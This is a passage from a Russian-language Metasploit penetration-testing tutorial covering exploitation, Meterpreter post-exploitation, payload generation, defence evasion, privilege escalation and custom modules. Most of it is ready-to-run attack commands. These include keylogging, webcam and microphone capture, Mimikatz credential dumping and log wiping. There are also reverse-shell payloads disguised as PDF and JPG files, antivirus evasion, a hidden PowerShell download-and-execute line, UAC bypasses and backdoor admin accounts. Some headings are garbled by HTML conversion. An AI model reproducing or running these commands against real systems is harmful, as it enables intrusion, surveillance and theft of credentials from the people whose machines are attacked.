<h2 id="proverka-logov">Проверка логов</h2>
tail -f /var/log/metasploit.log


Эксплуатация множественных целей:

bash
<h2 id="ustanovka-neskolkih-hostov">Установка нескольких хостов</h2>
set RHOSTS 192.168.1.100,192.168.1.101,192.168.1.102

<h2 id="ispolzovanie-fayla-s-hostami">Использование файла с хостами</h2>
set RHOSTS file:/path/to/hosts.txt

<h2 id="ispolzovanie-diapazona">Использование диапазона</h2>
set RHOSTS 192.168.1.100-200

<h2 id="ispolzovanie-podseti">Использование подсети</h2>
set RHOSTS 192.168.1.0/24


Работа с различными версиями Windows:

bash
<h2 id="vybor-tseli-dlya-windows-7">Выбор цели для Windows 7</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set TARGET 0 # Windows 7 SP1 x64
exploit

<h2 id="vybor-tseli-dlya-windows-server-2008">Выбор цели для Windows Server 2008</h2>
set TARGET 1 # Windows Server 2008 R2 x64
exploit

<h2 id="avtomaticheskiy-vybor-tseli">Автоматический выбор цели</h2>
set TARGET 2 # Auto
exploit


Эксплуатация веб-приложений:

bash
<h2 id="wordpress-uyazvimosti">WordPress уязвимости</h2>
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS 192.168.1.100
set USERNAME admin
set PASSWORD admin
set TARGETURI /wordpress
exploit

<h2 id="joomla-uyazvimosti">Joomla уязвимости</h2>
use exploit/unix/webapp/joomla_media_upload_exec
set RHOSTS 192.168.1.100
set TARGETURI /joomla
exploit

<h2 id="drupal-uyazvimosti">Drupal уязвимости</h2>
use exploit/unix/webapp/drupal_drupageddon
set RHOSTS 192.168.1.100
set TARGETURI /drupal
exploit


Эксплуатация мобильных устройств:

bash
<h2 id="android-uyazvimosti">Android уязвимости</h2>
use exploit/android/browser/webview_addjavascriptinterface
set SRVHOST 192.168.1.50
set URIPATH /
exploit

<h2 id="ios-uyazvimosti-ogranichennaya-podderzhka">iOS уязвимости (ограниченная поддержка)</h2>
use exploit/apple_ios/browser/safari_libtiff
set SRVHOST 192.168.1.50
exploit


Работа с сессиями:

bash
<h2 id="posle-uspeshnoy-ekspluatatsii">После успешной эксплуатации</h2>
sessions # Просмотр всех сессий
sessions -i 1 # Подключение к сессии 1

<h2 id="fonovaya-rabota">Фоновая работа</h2>
background # Отправить сессию в фон
sessions -i 1 # Вернуться к сессии

<h2 id="upravlenie-sessiyami">Управление сессиями</h2>
sessions -k 1 # Убить сессию 1
sessions -K # Убить все сессии


Типичные проблемы и решения:

1. Эксплойт не работает:
- Проверьте версию системы: `check`
- Убедитесь, что все параметры установлены: `show options`
- Проверьте сетевую связность: `ping 192.168.1.100`

2. Payload не подключается:
- Проверьте LHOST и LPORT
- Проверьте файрвол
- Используйте HTTPS payload для обхода

3. Сессия обрывается:
- Используйте миграцию процесса: `migrate `
- Используйте более стабильный payload
- Проверьте стабильность сети

РАЗДЕЛ 6: METERPRETER - МОЩНЫЙ ИНСТРУМЕНТ ПОСТ-ЭКСПЛУАТАЦИИ (1200 слов)

Meterpreter — это продвинутый payload Metasploit, который предоставляет интерактивную оболочку с расширенными возможностями для пост-эксплуатации.

Основные команды Meterpreter:

bash
<h2 id="posle-polucheniya-sessii">После получения сессии</h2>
sessions -i 1

<h2 id="sistemnaya-informatsiya">Системная информация</h2>
sysinfo
getuid
getpid

<h2 id="peremeschenie-po-faylovoy-sisteme">Перемещение по файловой системе</h2>
pwd
cd C:\
ls
cat file.txt

<h2 id="zagruzka-i-skachivanie-faylov">Загрузка и скачивание файлов</h2>
download file.txt
upload /path/to/file.txt C:\temp\

<h2 id="vypolnenie-komand">Выполнение команд</h2>
shell
execute -f cmd.exe -i
execute -f notepad.exe

<h2 id="snimki-ekrana">Снимки экрана</h2>
screenshot

<h2 id="klaviaturnyy-shpion">Клавиатурный шпион</h2>
keyscan_start
keyscan_dump
keyscan_stop


Работа с процессами:

bash
<h2 id="spisok-protsessov">Список процессов</h2>
ps

<h2 id="migratsiya-protsessa">Миграция процесса</h2>
migrate <PID>
migrate -N explorer.exe

<h2 id="zavershenie-protsessa">Завершение процесса</h2>
kill <PID>


Работа с сетью:

bash
<h2 id="setevye-podklyucheniya">Сетевые подключения</h2>
netstat

<h2 id="marshrutizatsiya">Маршрутизация</h2>
route
route add 192.168.2.0 255.255.255.0 1

<h2 id="portforvarding">Портфорвардинг</h2>
portfwd add -l 3389 -p 3389 -r 192.168.1.100


Сбор информации:

bash
<h2 id="paroli">Пароли</h2>
hashdump
load kiwi
creds_all

<h2 id="snimki-ekrana-i-veb-kamera">Снимки экрана и веб-камера</h2>
screenshot
webcam_list
webcam_snap

<h2 id="mikrofon">Микрофон</h2>
record_mic -d 10

<h2 id="poisk-faylov">Поиск файлов</h2>
search -f *.txt
search -d C:\ -f password.txt


Расширения Meterpreter:

bash
<h2 id="zagruzka-rasshireniy">Загрузка расширений</h2>
load kiwi # Mimikatz для Windows
load priv # Дополнительные привилегии
load incognito # Импersonation токенов
load sniffer # Перехват сетевого трафика

<h2 id="ispolzovanie-mimikatz">Использование Mimikatz</h2>
load kiwi
creds_all
lsa_dump_sam


Скрытность:

bash
<h2 id="ochistka-logov">Очистка логов</h2>
clearev

<h2 id="skrytie-protsessa">Скрытие процесса</h2>
stealth

<h2 id="timestomping">Timestomping</h2>
timestomp file.txt -f newfile.txt


Дополнительные команды Meterpreter:

bash
<h2 id="rabota-s-reestrom-windows">Работа с реестром (Windows)</h2>
reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion -v ProgramFilesDir
reg enumkey -k HKLM\\Software\\Microsoft
reg setval -k HKLM\\Software\\Test -v TestValue -d test

<h2 id="rabota-s-faylami">Работа с файлами</h2>
edit file.txt
cat file.txt
rm file.txt
mkdir directory
rmdir directory

<h2 id="informatsiya-o-sisteme">Информация о системе</h2>
getsystem
getprivs
getenv


Работа с учетными записями:

bash
<h2 id="sozdanie-polzovatelya">Создание пользователя</h2>
shell
net user hacker P@ssw0rd! /add
net localgroup administrators hacker /add

<h2 id="ili-cherez-modul">Или через модуль</h2>
use post/windows/manage/add_user
set SESSION 1
set USERNAME hacker
set PASSWORD P@ssw0rd!
exploit


Работа с сетью и туннелированием:

bash
<h2 id="socks-proksi">SOCKS прокси</h2>
use auxiliary/server/socks5
set SRVPORT 1080
run

<h2 id="portforvarding">Портфорвардинг</h2>
portfwd add -l 3389 -p 3389 -r 192.168.1.100
portfwd list
portfwd flush

<h2 id="dobavlenie-marshruta">Добавление маршрута</h2>
route add 192.168.2.0 255.255.255.0 1
route print


Сбор данных:

bash
<h2 id="sbor-vseh-paroley">Сбор всех паролей</h2>
load kiwi
creds_all
creds_wdigest
creds_msv

<h2 id="sbor-informatsii-o-sisteme">Сбор информации о системе</h2>
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_patches

<h2 id="sbor-faylov">Сбор файлов</h2>
download -r C:\\Documents\\ # Рекурсивное скачивание


Автоматизация через скрипты:

bash
<h2 id="sozdanie-skripta">Создание скрипта</h2>
cat > meterpreter.rc << EOF
sessions -i 1
sysinfo
hashdump
screenshot
download C:\\Users\\Admin\\Desktop\\*
EOF

<h2 id="zapusk-skripta">Запуск скрипта</h2>
msfconsole -r meterpreter.rc


Продвинутые техники Meterpreter:

bash
<h2 id="ispolzovanie-powershell">Использование PowerShell</h2>
load powershell
powershell_execute "Get-Process"
powershell_import /path/to/script.ps1

<h2 id="ispolzovanie-python">Использование Python</h2>
load python
python_execute "print('Hello from Meterpreter')"
python_import /path/to/script.py

<h2 id="ispolzovanie-inyh-rasshireniy">Использование иных расширений</h2>
load extapi
clipboard_get
clipboard_set "malicious content"


Работа с памятью:

bash
<h2 id="damp-protsessa">Дамп процесса</h2>
dump_hash <PID>
dump_lsa

<h2 id="analiz-pamyati">Анализ памяти</h2>
migrate <PID>
ps

<h2 id="poisk-v-pamyati">Поиск в памяти</h2>
search -d C:\\ -f password.txt


Управление сессиями:

bash
<h2 id="avtomaticheskaya-migratsiya">Автоматическая миграция</h2>
set AutoRunScript migrate -n explorer.exe

<h2 id="mnozhestvennye-sessii">Множественные сессии</h2>
sessions
sessions -i 1
sessions -i 2

<h2 id="sinhronizatsiya-komand">Синхронизация команд</h2>
sessions -c "whoami"


Мониторинг и логирование:

bash
<h2 id="vklyuchenie-logirovaniya">Включение логирования</h2>
set Logging true

<h2 id="zapis-v-fayl">Запись в файл</h2>
log_file /path/to/log.txt

<h2 id="monitoring-aktivnosti">Мониторинг активности</h2>
idletime


Работа с файловой системой:

bash
<h2 id="rasshirennye-operatsii-s-faylami">Расширенные операции с файлами</h2>
ls -la
cd C:\\Users
pwd

<h2 id="poisk-faylov">Поиск файлов</h2>
search -f *.pdf
search -d C:\\ -f *.txt -s

<h2 id="rabota-s-katalogami">Работа с каталогами</h2>
mkdir C:\\temp\\test
rmdir C:\\temp\\test


Удаленное выполнение:

bash
<h2 id="vypolnenie-komand-cherez-meterpreter">Выполнение команд через Meterpreter</h2>
execute -f cmd.exe -a "/c whoami"
execute -f powershell.exe -a "-Command Get-Process"

<h2 id="vypolnenie-s-vyvodom">Выполнение с выводом</h2>
execute -f cmd.exe -a "/c dir" -H

<h2 id="vypolnenie-v-fone">Выполнение в фоне</h2>
execute -f notepad.exe -H


Работа с сетью:

bash
<h2 id="poluchenie-ip-konfiguratsii">Получение IP-конфигурации</h2>
ipconfig

<h2 id="arp-tablitsa">ARP таблица</h2>
arp

<h2 id="setevye-podklyucheniya">Сетевые подключения</h2>
netstat -ano

<h2 id="dns-zaprosy">DNS запросы</h2>
resolve www.example.com


Криптография:

bash
<h2 id="rabota-s-sertifikatami">Работа с сертификатами</h2>
crypto_certificates_list

<h2 id="rabota-s-klyuchami">Работа с ключами</h2>
crypto_keys_list


Расширенные возможности пост-эксплуатации:

bash
<h2 id="sbor-informatsii-o-domene">Сбор информации о домене</h2>
run post/windows/gather/enum_domain

<h2 id="sbor-informatsii-o-seti">Сбор информации о сети</h2>
run post/windows/gather/enum_network

<h2 id="sbor-informatsii-o-prilozheniyah">Сбор информации о приложениях</h2>
run post/windows/gather/enum_applications

<h2 id="poisk-paroley">Поиск паролей</h2>
run post/windows/gather/enum_credential_store
run post/windows/gather/enum_chrome


Автоматизация через модули:

bash
<h2 id="avtomaticheskiy-sbor-informatsii">Автоматический сбор информации</h2>
run post/multi/gather/enum_network

<h2 id="avtomaticheskaya-eskalatsiya">Автоматическая эскалация</h2>
run post/multi/recon/local_exploit_suggester

<h2 id="avtomaticheskiy-poisk-dannyh">Автоматический поиск данных</h2>
run post/windows/gather/enum_files


РАЗДЕЛ 7: СОЗДАНИЕ И ИСПОЛЬЗОВАНИЕ PAYLOAD (1000 слов)

Создание собственных payload — важный навык для пентестера. Metasploit предоставляет инструмент msfvenom для генерации payload.

Основы msfvenom:

bash
<h2 id="prosmotr-spiska-payload">Просмотр списка payload</h2>
msfvenom -l payloads

<h2 id="prosmotr-platform">Просмотр платформ</h2>
msfvenom -l platforms

<h2 id="prosmotr-formatov">Просмотр форматов</h2>
msfvenom -l formats

<h2 id="prosmotr-arhitektur">Просмотр архитектур</h2>
msfvenom -l archs


Генерация Windows payload:

bash
<h2 id="exe-fayl">EXE файл</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe

<h2 id="exe-s-kodirovaniem">EXE с кодированием</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe

<h2 id="dll">DLL</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o payload.dll

<h2 id="powershell">PowerShell</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o payload.ps1


Генерация Linux payload:

bash
<h2 id="elf">ELF</h2>
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o payload.elf

<h2 id="bash">Bash</h2>
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.sh


Генерация веб payload:

bash
<h2 id="php">PHP</h2>
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.php

<h2 id="asp">ASP</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o payload.asp

<h2 id="jsp">JSP</h2>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.jsp


Использование кодировщиков:

bash
<h2 id="prosmotr-kodirovschikov">Просмотр кодировщиков</h2>
msfvenom -l encoders

<h2 id="ispolzovanie-kodirovschika">Использование кодировщика</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe

<h2 id="mnozhestvennye-kodirovaniya">Множественные кодирования</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -e x86/alpha_upper -i 3 -f exe -o payload.exe


Настройка обработчика:

После создания payload нужно настроить обработчик:

bash
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j


Дополнительные форматы payload:

bash
<h2 id="python-payload">Python payload</h2>
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.py

<h2 id="perl-payload">Perl payload</h2>
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.pl

<h2 id="ruby-payload">Ruby payload</h2>
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.rb

<h2 id="java-jsp">Java JSP</h2>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.jsp

<h2 id="war-fayl-dlya-veb-serverov">WAR файл (для веб-серверов)</h2>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o payload.war


Использование шаблонов:

bash
<h2 id="ispolzovanie-suschestvuyuschego-fayla-kak-shablona">Использование существующего файла как шаблона</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x original.exe -f exe -o payload.exe

<h2 id="ispolzovanie-pdf-kak-shablona">Использование PDF как шаблона</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x document.pdf -f exe -o malicious.pdf

<h2 id="ispolzovanie-jpg-kak-shablona">Использование JPG как шаблона</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x image.jpg -f exe -o malicious.jpg


Тестирование payload:

Перед использованием в реальном сценарии важно протестировать payload:

bash
<h2 id="sozdanie-testovogo-payload">Создание тестового payload</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o test.exe

<h2 id="nastroyka-obrabotchika">Настройка обработчика</h2>
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j

<h2 id="zapusk-payload-na-testovoy-sisteme">Запуск payload на тестовой системе</h2>
<h2 id="posle-podklyucheniya-proverte-funktsionalnost">После подключения проверьте функциональность</h2>


Оптимизация размера payload:

bash
<h2 id="minimizatsiya-razmera">Минимизация размера</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 5 -x /usr/share/windows-binaries/calc.exe -o payload.exe

<h2 id="ispolzovanie-stageless-dlya-umensheniya-razmera-nachalnogo-payload">Использование stageless для уменьшения размера начального payload</h2>
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe


Множественные payload:

bash
<h2 id="sozdanie-neskolkih-variantov">Создание нескольких вариантов</h2>
for port in 4444 4445 4446; do
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=$port -f exe -o payload_$port.exe
done


Автоматизация создания payload:

Создайте скрипт для автоматизации:

bash
#!/bin/bash
<h2 id="generate-payload-sh">generate_payload.sh</h2>

LHOST=192.168.1.50
LPORT=4444

<h2 id="windows-exe">Windows EXE</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o windows.exe

<h2 id="linux-elf">Linux ELF</h2>
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o linux.elf

<h2 id="php">PHP</h2>
msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o payload.php

<h2 id="powershell">PowerShell</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f psh -o payload.ps1

echo "Payload созданы!"


РАЗДЕЛ 8: ОБХОД ЗАЩИТЫ (1100 слов)

Современные системы защиты могут блокировать стандартные payload. Metasploit предоставляет методы для обхода защиты.

Обход антивирусов:

bash
<h2 id="ispolzovanie-kodirovschikov">Использование кодировщиков</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 20 -f exe -o payload.exe

<h2 id="ispolzovanie-veil-evasion-vneshniy-instrument">Использование Veil-Evasion (внешний инструмент)</h2>
<h2 id="ustanovka">Установка</h2>
git clone https://github.com/Veil-Framework/Veil.git
cd Veil
./Veil.py

<h2 id="ispolzovanie-v-metasploit">Использование в Metasploit</h2>
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit


Обход файрволов:

bash
<h2 id="ispolzovanie-https">Использование HTTPS</h2>
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443

<h2 id="ispolzovanie-dns">Использование DNS</h2>
set payload windows/meterpreter/reverse_dns
set LHOST yourdomain.com

<h2 id="ispolzovanie-http">Использование HTTP</h2>
set payload windows/meterpreter/reverse_http
set LHOST 192.168.1.50
set LPORT 80

<h2 id="portforvarding-cherez-meterpreter">Портфорвардинг через Meterpreter</h2>
portfwd add -l 3389 -p 3389 -r 192.168.1.100


Обход IDS/IPS:

bash
<h2 id="ispolzovanie-staged-payload">Использование staged payload</h2>
set payload windows/meterpreter/reverse_tcp
<h2 id="staged-payload-menshe-po-razmeru">Staged payload меньше по размеру</h2>

<h2 id="ispolzovanie-encoders">Использование encoders</h2>
set encoder x86/shikata_ga_nai
set encoder_iterations 20

<h2 id="ispolzovanie-timing">Использование timing</h2>
set TIMEOUT 300


Дополнительные методы обхода:

bash
<h2 id="ispolzovanie-fragmentatsii">Использование фрагментации</h2>
set PrependMigrate true
set PrependMigrateProc explorer.exe

<h2 id="ispolzovanie-sleep">Использование sleep</h2>
set SLEEP 10

<h2 id="ispolzovanie-jitter">Использование jitter</h2>
set JITTER 5000

<h2 id="ispolzovanie-stageless-payload">Использование stageless payload</h2>
set payload windows/meterpreter_reverse_https


Обход через шифрование:

bash
<h2 id="ispolzovanie-ssl-tls">Использование SSL/TLS</h2>
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443

<h2 id="nastroyka-sertifikata">Настройка сертификата</h2>
set HandlerSSLCert /path/to/cert.pem


Обход через прокси:

bash
<h2 id="nastroyka-http-proksi">Настройка HTTP прокси</h2>
set Proxies http:127.0.0.1:8080

<h2 id="nastroyka-socks-proksi">Настройка SOCKS прокси</h2>
set Proxies socks5:127.0.0.1:1080

<h2 id="ispolzovanie-cherez-meterpreter">Использование через Meterpreter</h2>
use auxiliary/server/socks5
run


Обход через домены:

bash
<h2 id="ispolzovanie-dns-payload">Использование DNS payload</h2>
set payload windows/meterpreter/reverse_dns
set LHOST yourdomain.com

<h2 id="nastroyka-dns-servera">Настройка DNS сервера</h2>
use auxiliary/server/dns
set DOMAIN yourdomain.com
run


Обход через Web Delivery:

bash
<h2 id="ispolzovanie-web-delivery">Использование web delivery</h2>
use exploit/multi/script/web_delivery
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit

<h2 id="zatem-vypolnenie-komandy-na-tseli">Затем выполнение команды на цели</h2>
<h2 id="powershell-nop-w-hidden-c-iex-new-object-net-webclient-downloadstring-http-192-168-1-50-8080">powershell -nop -w hidden -c &quot;IEX ((new-object net.webclient).downloadstring(&#039;http://192.168.1.50:8080/...&#039;))&quot;</h2>


Обход антивирусов через обфускацию:

bash
<h2 id="ispolzovanie-mnozhestvennyh-kodirovschikov">Использование множественных кодировщиков</h2>
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 \
-e x86/alpha_upper -i 5 \
-e x86/call4_dword_xor -i 3 \
-f exe -o payload.exe

<h2 id="ispolzovanie-shablonov">Использование шаблонов</h2>
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-x /usr/share/windows-binaries/calc.exe \
-f exe -o payload.exe


Обход через пользовательские скрипты:

bash
<h2 id="sozdanie-sobstvennogo-kodirovschika">Создание собственного кодировщика</h2>
<h2 id="ispolzovanie-vneshnih-instrumentov-veil-evasion-thefatrat">Использование внешних инструментов (Veil-Evasion, TheFatRat)</h2>
<h2 id="zatem-import-rezultata-v-metasploit">Затем импорт результата в Metasploit</h2>


Обход через живые системы:

bash
<h2 id="ispolzovanie-legitimnyh-protsessov">Использование легитимных процессов</h2>
migrate -N explorer.exe

<h2 id="ispolzovanie-legitimnyh-instrumentov">Использование легитимных инструментов</h2>
execute -f powershell.exe -a "-Command ..."

<h2 id="ispolzovanie-legitimnyh-servisov">Использование легитимных сервисов</h2>
use post/windows/manage/persistence_service


РАЗДЕЛ 9: ЭСКАЛАЦИЯ ПРИВИЛЕГИЙ (1000 слов)

После получения доступа к системе часто требуется повысить привилегии.

Windows эскалация:

bash
<h2 id="ispolzovanie-moduley">Использование модулей</h2>
use exploit/windows/local/bypassuac
set SESSION 1
exploit

<h2 id="ispolzovanie-kiwi-mimikatz">Использование Kiwi (Mimikatz)</h2>
load kiwi
getsystem
creds_all

<h2 id="ispolzovanie-incognito">Использование Incognito</h2>
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"


Linux эскалация:

bash
<h2 id="poisk-uyazvimostey-yadra">Поиск уязвимостей ядра</h2>
use exploit/linux/local/sudo_shell
set SESSION 1
exploit

<h2 id="ispolzovanie-suid">Использование SUID</h2>
shell
find / -perm -4000 2>/dev/null

<h2 id="ekspluatatsiya-uyazvimostey-yadra">Эксплуатация уязвимостей ядра</h2>
use exploit/linux/local/dirty_cow
set SESSION 1
exploit

<h2 id="ispolzovanie-sudo">Использование Sudo</h2>
use exploit/linux/local/sudo_dirty_sock
set SESSION 1
exploit


Автоматический поиск векторов эскалации:

bash
<h2 id="windows">Windows</h2>
use post/windows/escalate/getsystem
set SESSION 1
exploit

<h2 id="linux">Linux</h2>
use post/linux/gather/enum_configs
set SESSION 1
exploit

<h2 id="poisk-uyazvimostey">Поиск уязвимостей</h2>
use post/multi/recon/local_exploit_suggester
set SESSION 1
exploit


Использование токенов:

bash
<h2 id="zagruzka-rasshireniya-incognito">Загрузка расширения Incognito</h2>
load incognito

<h2 id="spisok-tokenov">Список токенов</h2>
list_tokens -u
list_tokens -g

<h2 id="impersonation-tokena">Импersonation токена</h2>
impersonate_token "NT AUTHORITY\\SYSTEM"

<h2 id="vozvrat-k-ishodnomu-tokenu">Возврат к исходному токену</h2>
rev2self


Эксплуатация неправильных конфигураций:

bash
<h2 id="poisk-nebezopasnyh-razresheniy">Поиск небезопасных разрешений</h2>
use post/windows/gather/enum_shares
set SESSION 1
exploit

<h2 id="poisk-nebezopasnyh-servisov">Поиск небезопасных сервисов</h2>
use post/windows/gather/enum_services
set SESSION 1
exploit

<h2 id="poisk-nebezopasnyh-zadach">Поиск небезопасных задач</h2>
use post/windows/gather/enum_scheduled_tasks
set SESSION 1
exploit


Использование UAC bypass:

bash
<h2 id="obhod-uac-cherez-fodhelper">Обход UAC через FodHelper</h2>
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
exploit

<h2 id="obhod-uac-cherez-eventvwr">Обход UAC через Eventvwr</h2>
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
exploit

<h2 id="obhod-uac-cherez-kompilator">Обход UAC через компilатор</h2>
use exploit/windows/local/bypassuac_comhijack
set SESSION 1
exploit


Кража и использование паролей:

bash
<h2 id="zagruzka-mimikatz">Загрузка Mimikatz</h2>
load kiwi

<h2 id="poluchenie-vseh-paroley">Получение всех паролей</h2>
creds_all

<h2 id="dump-sam-bazy">Dump SAM базы</h2>
lsa_dump_sam

<h2 id="dump-lsa-sekretov">Dump LSA секретов</h2>
lsa_dump_secrets

<h2 id="poluchenie-paroley-iz-pamyati">Получение паролей из памяти</h2>
msv
kerberos
wdigest


Постоянство доступа:

bash
<h2 id="sozdanie-polzovatelya">Создание пользователя</h2>
use post/windows/manage/add_user
set SESSION 1
set USERNAME hacker
set PASSWORD P@ssw0rd!
exploit

<h2 id="dobavlenie-v-gruppu-administratorov">Добавление в группу администраторов</h2>
use post/windows/manage/add_user_domain
set SESSION 1
set USERNAME hacker
set PASSWORD P@ssw0rd!
set GROUP "Domain Admins"
exploit

<h2 id="sozdanie-sluzhby">Создание службы</h2>
use post/windows/manage/persistence_service
set SESSION 1
set STARTUP SYSTEM
set PATH C:\\Windows\\System32\\svchost.exe
exploit


РАЗДЕЛ 10: СОЗДАНИЕ СОБСТВЕННЫХ МОДУЛЕЙ (1100 слов)

Metasploit позволяет создавать собственные модули для автоматизации задач.

Структура модуля:

ruby
<h2 id="this-module-requires-metasploit-https-metasploit-com-download"># This module requires Metasploit: https://metasploit.com/download</h2>
<h2 id="current-source-https-github-com-rapid7-metasploit-framework">Current source: https://github.com/rapid7/metasploit-framework</h2>
<h2 id="class-metasploitmodule-msf-auxiliary">class MetasploitModule &lt; Msf::Auxiliary</h2>
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Scanner',
'Description' => %q{
This is a custom scanner module
},
'Author' => ['Your Name'],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://example.com']
],
'DisclosureDate' => '2026-01-01'
))

register_options([
OptString.new('TARGETURI', [true, 'The URI to scan', '/']),
OptInt.new('TIMEOUT', [true, 'Timeout for requests', 10])
])
end

def run
print_status("Scanning #{datastore['RHOSTS']}")
# Your code here
end
end


Пример эксплойта:

ruby
class MetasploitModule < Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Exploit',
'Description' => %q{
Custom exploit description
},
'Author' => ['Your Name'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Targets' => [
['Windows 10', {}]
],
'DefaultTarget' => 0
))
end

def exploit
# Exploit code
end
end


Полный пример вспомогательного модуля:

ruby
<h2 id="this-module-requires-metasploit-https-metasploit-com-download"># This module requires Metasploit: https://metasploit.com/download</h2>
<h2 id="current-source-https-github-com-rapid7-metasploit-framework">Current source: https://github.com/rapid7/metasploit-framework</h2>
<h2 id="class-metasploitmodule-msf-auxiliary">class MetasploitModule &lt; Msf::Auxiliary</h2>
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Web Scanner',
'Description' => %q{
This module scans web applications for custom vulnerabilities.
It performs directory enumeration and checks for exposed files.
},
'Author' => [
'Your Name <your.email@example.com>'
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://example.com/vulnerability'],
['CVE', '2026-0001']
],
'DisclosureDate' => '2026-01-01',
'Actions' => [
['SCAN', { 'Description' => 'Scan for vulnerabilities' }],
['ENUM', { 'Description' => 'Enumerate directories' }]
],
'DefaultAction' => 'SCAN'
))

register_options([
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptInt.new('TIMEOUT', [true, 'Timeout for requests', 10]),
OptPath.new('WORDLIST', [false, 'Wordlist for enumeration', ''])
])
end

def run
case action.name
when 'SCAN'
scan_vulnerabilities
when 'ENUM'
enumerate_directories
end
end

def scan_vulnerabilities
print_status("Scanning #{datastore['RHOSTS']}:#{datastore['RPORT']}")

# Проверка уязвимости
vuln_path = normalize_uri(datastore['TARGETURI'], 'vulnerable.php')

res = send_request_cgi({
'method' => 'GET',
'uri' => vuln_path,
'vars_get' => {
'param' => "' OR '1'='1"
}
})

if res && res.code == 200 && res.body.include?('error')
print_good("Vulnerability found at #{vuln_path}")
report_vuln({
host: rhost,
port: rport,
name: name,
refs: references
})
else
print_error("No vulnerability found")
end
end

def enumerate_directories
print_status("Enumerating directories...")

wordlist = load_wordlist

wordlist.each do |dir|
path = normalize_uri(datastore['TARGETURI'], dir)

res = send_request_cgi({
'method' => 'GET',
'uri' => path
})

if res && res.code == 200
print_good("Found: #{path}")
end
end
end

def load_wordlist
if datastore['WORDLIST'].present?
File.readlines(datastore['WORDLIST']).map(&:chomp)
else
['admin', 'test', 'backup', 'config']
end
end
end


Пример post-эксплуатации модуля:

ruby
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry

def initialize(info = {})
super(update_info(info,
'Name' => 'Gather Windows Credentials',
'Description' => %q{
This module extracts credentials from Windows registry
},
'License' => MSF_LICENSE,
'Author' => ['Your Name'],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter']
))
end

def run
print_status("Gathering credentials...")

# Извлечение SAM
